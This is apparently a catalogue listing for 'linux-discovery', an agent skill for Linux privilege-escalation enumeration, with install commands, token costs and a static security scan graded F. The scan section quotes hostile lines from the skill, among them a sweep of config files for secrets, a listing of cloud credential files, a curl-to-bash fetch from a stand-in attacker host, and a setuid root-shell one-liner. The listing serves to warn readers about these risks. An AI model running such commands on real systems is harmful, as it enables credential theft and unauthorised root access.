linux-discovery

A Linux security skill for listing possible ways a local user could gain higher permissions and mapping the system’s attack surface.

In plain words
What is it for?
Use it to inspect a Linux machine for local privilege-escalation opportunities and document its attack surface.
Why use it?
It helps reveal privilege-escalation paths and exposed system areas that may otherwise be missed during a security review.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/blacklanternsecurity/red-run/linux-discovery
Any agent
npx skills add blacklanternsecurity/red-run --skill linux-discovery
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Per session 14 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,605 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 6 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00014 $0.06605
Opus 5 $0.00007 $0.03302
Sonnet 5 $0.00003 $0.01321
Haiku 4.5 $0.00001 $0.00660

Measured 3d ago against content hash 45e182bb25ac, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade F, and why

linux-discovery scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Enumerates the file system for secretshighData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" 2>/dev/null | xargs grep -liE "pass|secret|key|token" 2>/dev/null | head -20

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

- `add_vuln()` — confirmed vulnerabilities a technique agent should exploit (SUID binaries, sudo misconfigs, kernel CVEs)

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

ls -la ~/.aws/credentials ~/.azure/ ~/.config/gcloud/ 2>/dev/null

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -sL https://ATTACKER/linpeas.sh | bash

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sL https://ATTACKER/linpeas.sh | bash

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| `cap_setuid+ep` | Direct root: `python -c 'import os; os.setuid(0); os.system("/bin/bash")'` |
skills/privesc/linux-discovery/SKILL.md · 711 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 711 lines · 14 tokens per session scan F 45e182bb25ac

Subscribe to this mod's changes

linux-discovery is a skill published in the GitHub repository blacklanternsecurity/red-run (266 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 14 tokens to every session and 6,605 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it F with 6 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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